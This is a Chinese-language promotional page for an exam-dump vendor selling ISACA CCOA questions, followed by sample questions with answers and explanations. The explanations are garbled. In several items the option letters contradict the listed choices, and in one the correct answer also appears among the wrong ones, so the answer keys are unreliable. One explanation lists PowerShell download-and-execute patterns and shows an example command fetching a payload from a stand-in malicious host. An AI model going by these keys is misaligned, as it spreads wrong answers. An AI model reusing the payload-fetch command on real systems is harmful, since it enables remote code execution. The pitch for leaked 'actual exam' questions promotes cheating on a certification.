權威的ISACA CCOA認證資料是行業領先材料＆完美的CCOA認證考試解析

BONUS!!! 免費下載PDFExamDumps CCOA考試題庫的完整版：https://drive.google.com/open?id=1012llOLtHatIlk62dxb33q3Y4vqDFVKe

你現在正在為了尋找ISACA的CCOA認證考試的優秀的資料而苦惱嗎？不用再擔心了，這裏就有你最想要的東西。應大家的要求，PDFExamDumps為參加CCOA考試的考生專門研發出了一種高效率的學習方法。大家都是一邊工作一邊準備考試，這樣很費心費力吧？為了避免你在準備考試時浪費太多的時間，PDFExamDumps為你提供了只需要經過很短時間的學習就可以通過考試的CCOA考古題。這個考古題包含了實際考試中一切可能出現的問題。所以，只要你好好學習這個考古題，那麼通過CCOA考試就不再是難題了。

ISACA CCOA 考試大綱：

主題	簡介
主題 1	• Incident Detection and Response: This section of the exam measures the skills of a Cybersecurity Analyst and focuses on detecting security incidents and responding appropriately. It includes understanding security monitoring tools, analyzing logs, and identifying indicators of compromise. The section emphasizes how to react to security breaches quickly and efficiently to minimize damage and restore operations.
主題 2	• Technology Essentials: This section of the exam measures skills of a Cybersecurity Specialist and covers the foundational technologies and principles that form the backbone of cybersecurity. It includes topics like hardware and software configurations, network protocols, cloud infrastructure, and essential tools. The focus is on understanding the technical landscape and how these elements interconnect to ensure secure operations.
主題 3	• Adversarial Tactics, Techniques, and Procedures: This section of the exam measures the skills of a Cybersecurity Analyst and covers the tactics, techniques, and procedures used by adversaries to compromise systems. It includes identifying methods of attack, such as phishing, malware, and social engineering, and understanding how these techniques can be detected and thwarted.
主題 4	• Securing Assets: This section of the exam measures skills of a Cybersecurity Specialist and covers the methods and strategies used to secure organizational assets. It includes topics like endpoint security, data protection, encryption techniques, and securing network infrastructure. The goal is to ensure that sensitive information and resources are properly protected from external and internal threats.
主題 5	• Cybersecurity Principles and Risk: This section of the exam measures the skills of a Cybersecurity Specialist and covers core cybersecurity principles and risk management strategies. It includes assessing vulnerabilities, threat analysis, and understanding regulatory compliance frameworks. The section emphasizes evaluating risks and applying appropriate measures to mitigate potential threats to organizational assets.

>> CCOA認證資料 <<

CCOA認證考試解析，CCOA題庫資訊

想獲得ISACA CCOA認證，就來PDFExamDumps網站！為您提供最好的學習資料，讓您不僅可以通過CCOA考試，還可以在短時間內獲得良好的成績。我們已經幫助很多的考生順利順利通過CCOA考試，獲取證書，這是一個難得的機會。現在，購買ISACA CCOA題庫之后，您的郵箱會收到我們的郵件，您可以及時下載您購買的CCOA題庫并訪問，這樣可以全面地了解詳細的考試試題以及答案。

最新的 Cybersecurity Audit CCOA 免費考試真題 (Q121-Q126):

問題 #121
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?

答案：

解題說明：
See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
* Logs to investigate:
* PowerShell logs (Event ID 4104)for command execution.
* Windows Security Event Logsfor login and access attempts.
* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
* Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
* Windows Event Logs (Sysmon/PowerShell)
* Firewall Logs
* IDS/IPS Alerts
* Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
* Time Frame Filter:
* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
* Event ID Filter:
* Filter forEvent ID 4104(PowerShell script block logging).
* Command Pattern:
* Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
* Process Name:
* Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress Step 4: Correlate Events with Network Logs
* Once you identify PowerShell events, correlate them withnetwork traffic logs.
* Focus on:
* Source IP Address: Where the PowerShell commands originated.
* Destination IP Address: Targeted web server.

* Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
* Investigate the nature of the commands:
* Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
* Remote Code Execution:Using IEX to run downloaded scripts.
* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
* Identify theMAC addresscorresponding to the targeted web server.
* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
* Document the targeted server'sIP address and MAC address.
* Summarize the malicious activity:
* Commands executed
* Time and duration
* Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell
Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
* Isolate the affected server.
* Block external IPs involved.
* Terminate malicious PowerShell processes.
* Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

問題 #122
The PRIMARY function of open source intelligence (OSINT) is:

- A. delivering remote access malware packaged as an executable file via social engineering tactics.
- B. leveraging publicly available sources to gather Information on an enterprise or on individuals.
- C. encoding stolen data prior to exfiltration to subvert data loss prevention (DIP) controls.
- D. Initiating active probes for open ports with the aim of retrieving service version information.

答案：B

解題說明：
The primary function of Open Source Intelligence (OSINT) is to collect and analyze information from publicly available sources. This data can include:
* Social Media Profiles:Gaining insights into employees or organizational activities.
* Public Websites:Extracting data from corporate pages, forums, or blogs.
* Government and Legal Databases:Collecting information from public records and legal filings.
* Search Engine Results:Finding indexed data, reports, or leaked documents.
* Technical Footprinting:Gathering information from publicly exposed systems or DNS records.
OSINT is crucial in both defensive and offensive security strategies, providing insights into potential attack vectors or organizational vulnerabilities.
Incorrect Options:
* A. Encoding stolen data prior to exfiltration:This relates to data exfiltration techniques, not OSINT.

* B. Initiating active probes for open ports:This is part of network scanning, not passive intelligence gathering.
* C. Delivering remote access malware via social engineering:This is an attack vector rather than intelligence gathering.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 2, Section "Threat Intelligence and OSINT", Subsection "Roles and Applications of OSINT"
- OSINT involves leveraging publicly available sources to gather information on potential targets, be it individuals or organizations.

問題 #123
Which of the following processes is MOST effective for reducing application risk?

- A. Regular code reviews throughout development
- B. Regular monitoring of application use
- C. Regular third-party risk assessments
- D. Regular vulnerability scans after deployment

答案：A

解題說明：
Performingregular code reviews throughout developmentis the most effective method for reducing application risk:
* Early Detection:Identifies security vulnerabilities before deployment.
* Code Quality:Improves security practices and coding standards among developers.
* Static Analysis:Ensures compliance with secure coding practices, reducing common vulnerabilities (like injection or XSS).
* Continuous Improvement:Incorporates feedback into future development cycles.
Incorrect Options:
* A. Regular third-party risk assessments:Important but does not directly address code-level risks.
* C. Regular vulnerability scans after deployment:Identifies issues post-deployment, which is less efficient.
* D. Regular monitoring of application use:Helps detect anomalies but not inherent vulnerabilities.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Secure Software Development," Subsection "Code Review Practices" - Code reviews are critical for proactively identifying security flaws during development.

問題 #124
Cyber threat intelligence is MOST important for:

- A. performing root cause analysis for cyber attacks.
- B. configuring SIEM systems and endpoints.
- C. recommending best practices for database security.
- D. revealing adversarial tactics, techniques, and procedures.

答案：D

解題說明：
Cyber Threat Intelligence (CTI)is primarily focused onunderstanding the tactics, techniques, and procedures (TTPs)used by adversaries. The goal is to gain insights into:
* Attack Patterns:How cybercriminals or threat actors operate.
* Indicators of Compromise (IOCs):Data related to attacks, such as IP addresses or domain names.
* Threat Actor Profiles:Understanding motives and methods.
* Operational Threat Hunting:Using intelligence to proactively search for threats in an environment.
* Decision Support:Assisting SOC teams and management in making informed security decisions.
Other options analysis:
* A. Performing root cause analysis for cyber attacks:While CTI can inform such analysis, it is not the primary purpose.
* B. Configuring SIEM systems and endpoints:CTI cansupportconfiguration, but that is not its main function.
* C. Recommending best practices for database security:CTI is more focused on threat analysis rather than specific security configurations.
CCOA Official Review Manual, 1st Edition References:
* Chapter 6: Threat Intelligence and Analysis:Explains how CTI is used to reveal adversarial TTPs.
* Chapter 9: Threat Intelligence in Incident Response:Highlights how CTI helps identify emerging threats.

問題 #125
Which of the following MOST effectively minimizes the impact of a control failure?

- A. Information security policy
- B. Defense in depth
- C. Business impact analysis (B1A)
- D. Business continuityplan [BCP

答案：B

解題說明：
The most effective way tominimize the impact of a control failureis to employDefense in Depth, which involves:
* Layered Security Controls:Implementing multiple, overlapping security measures to protect assets.
* Redundancy:If one control fails (e.g., a firewall), others (like IDS, endpoint protection, and network monitoring) continue to provide protection.
* Minimizing Single Points of Failure:By diversifying security measures, no single failure will compromise the entire system.
* Adaptive Security Posture:Layered defenses allow quick adjustments and contain threats.
Other options analysis:
* A. Business continuity plan (BCP):Focuses on maintaining operations after an incident, not directly on minimizing control failures.
* B. Business impact analysis (BIA):Identifies potential impacts but does not reduce failure impact directly.
* D. Information security policy:Guides security practices but does not provide practical mitigation during a failure.
CCOA Official Review Manual, 1st Edition References:
* Chapter 7: Defense in Depth Strategies:Emphasizes the importance of layering controls to reduce failure impacts.
* Chapter 9: Incident Response and Mitigation:Explains how defense in depth supports resilience.

問題 #126
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人們相信需要一個標準化的、多國的、令人信服的考試來驗證個人在 ISACA上技能的等級。同時，這個考試必須有利於公司雇用 ISACA 方面專業人才。為了實現這壹目的，ISACA 專家機構聯合多方力量設計和完善了 CCOA 認證考試。ISACA 專家機構通過全球的發展使之成為一個倍受公認和廣泛認可的 CCOA 認證考試體系。用戶應該可以自由選擇，在認證 ISACA 最高級工程師這壹關鍵領域不應固定於一個廠商。

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